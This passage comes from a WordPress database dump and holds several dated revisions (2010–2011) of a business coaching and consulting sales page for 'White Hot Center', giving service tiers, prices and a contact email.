</strong>\r\n\r\n<strong>To leverage your enhanced positioning, we''ll create specific recommendations and strategic imperatives to improve the effectiveness of your brand identity, your marketing, and communications at every touch point of interaction with your clients and customers.</strong>\r\n\r\n<strong>You''ll have Increased awareness of the entrepreneur’s abundance mindset, and the practices that make an extraordinary leader, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and customers who delight in their experience of doing business with you. And as a result, happily exchange greater sums of money to show their appreciation for the value you are creating for them.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 6-8 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-04-12 09:51:18', '2011-04-12 16:51:18', '', 138, 'http://www.whitehotcenter.com/2011/04/12/138-revision-129/', 0, 'revision', '', 0);
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(1468, 2, '2011-01-02 16:02:06', '2011-01-02 23:02:06', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nMy purpose is to inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director, brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and to owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy, and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nAn issue-based consulting program designed for early stage entrepreneurs and solo professionals who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the source code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. The strategic business development consulting is designed for those  entrepreneurs who have identified a specific business development and marketing issue that requires an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide strategic and creative guidance to help you overcome whatever barriers are holding back your progress toward achieving your stated business goals.\r\n<h2>Here''s what we''ll make happen:</h2>\r\n<strong>Through innovation and creativity, we’ll create a detailed plan designed around your strengths and unique talents that will foster sustained competitive advantage in your business. </strong>\r\n\r\n<strong>With you and your team, we develop a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, we will create specific recommendations and strategic imperatives to improve the effectiveness of your brand identity, marketing, and communications at every touch point of interaction with your clients and customers.</strong>\r\n\r\n<strong>Increased awareness of the entrepreneur’s abundance mindset, and the practices that make an extraordinary leader, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and customers who delight in their experience of doing business with you. And as a result, happily exchange higher sums of money to show their appreciation for the value you are creating for them.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+ USD\r\nThe duration of this consulting engagement is generally within a 6-8 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and mostly virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly for a minimum period of three (3) months.</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-02 16:02:06', '2011-01-02 23:02:06', '', 138, 'http://www.whitehotcenter.com/2011/01/02/138-revision-127/', 0, 'revision', '', 0),
(1397, 2, '2010-12-16 15:16:22', '2010-12-16 22:16:22', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating and sustaining a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business!\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #000000;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth–</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design–</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation–</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation–</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I''ve successfully helped business people, in global companies and venture start-ups alike, better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><a href="http://www.pullinc.com" target="_blank">Please visit my brand strategy consulting firm, PULL Brand Innovation.</a>\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help early stage entrepreneurs succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth, providing you with greater insight, inspiration and tools to build your bigger future. To help you accomplish your vision, I provide flexible levels of consulting and coaching engagements depending on the issues that are blocking your progress:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Coaching and Consulting</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you.\r\n\r\nYou''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Pursue your best opportunities with clarity and confidence!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-12-16 15:16:22', '2010-12-16 22:16:22', '', 138, 'http://www.whitehotcenter.com/2010/12/16/138-revision-103/', 0, 'revision', '', 0),
(1212, 2, '2010-10-29 15:03:53', '2010-10-29 22:03:53', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.\r\n</span></h2>\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>I provide guidance and creativity to help you discover, define and pursue your best opportunities to create more value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Many of my clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and professional growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( innovation / creativity / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing, sales, and  communications)</strong></span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;">As a successful entrepreneur, for over 25 years, I have been a marketing, brand strategy and creative consultant to global companies and venture start-ups alike. My corporate clients have included Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA.   My nearly three decades of successful entrepreneurial and business building expertise, coupled with my burning passion for living my life with creativity, authenticity, passion and service enables me to be a catalyst for change and growth for successful early stage entrepreneurs who seek insight, inspiration and tools to build their bigger future.  I offer several levels of consulting and coaching engagements:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your business and personal growth. I will help you lock on to a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$10-15K USD  This package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-10-29 15:03:53', '2010-10-29 22:03:53', '', 138, 'http://www.whitehotcenter.com/2010/10/29/138-revision-77/', 0, 'revision', '', 0),
(1209, 2, '2010-10-02 12:40:35', '2010-10-02 19:40:35', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. The core of who you are, and the legacy of your contribution to the world. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>WhiteHotCenter Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to discover and define the white hot center of their competitive advantage, then provide tools to best leverage that advantage for their greater growth and success.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>White Hot Center Consulting provides guidance and creativity to help you discover, define and pursue your best opportunities to create value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Many of my clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and professional growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( innovation / creativity / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing, sales, and  communications)</strong></span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;">For over 25 years, I have been a marketing, brand strategy and creative consultant to global companies and venture start-ups alike. My clients have included Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. I have also consulted with dozens of mid-size companies and venture-funded start-ups in diverse industries.  My nearly three decades of successful entrepreneurial and business building expertise, coupled with my passion for living a life of creative authenticity, passion and service enable me to be a catalyst for change and growth for successful entrepreneurs who seek insight, inspiration and tools to build a bigger future.  I offer several levels of consulting engagements:<strong>\r\n</strong></span></span>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting</h2>\r\nThis engagement is for mid-to-larger-scale enterprises with revenue of $10 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, and marketing communication platforms to internal and external audiences. The business imperatives that drive this consulting engagement typically involve new product introductions, growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for small business owners, creative entrepreneurs and solo professionals who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level experience much greater complexity getting their business to the $1million+ level. If this describes your current circumstances, we can provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more freedom and joy for you. You''ll gain deeper insight and clarity on the strategic issues facing your business and personal growth. You''ll create a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$10-15K USD  This package is individually tailored and scaled to your particular needs, and is typically 3-4 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-10-02 12:40:35', '2010-10-02 19:40:35', '', 138, 'http://www.whitehotcenter.com/2010/10/02/138-revision-74/', 0, 'revision', '', 0),
(795, 2, '2010-05-02 18:03:43', '2010-05-03 01:03:43', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the bedrock of my point of view on creating a life of significance, freedom and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the essence of your value proposition to the world. This is the white hot center of your competitive 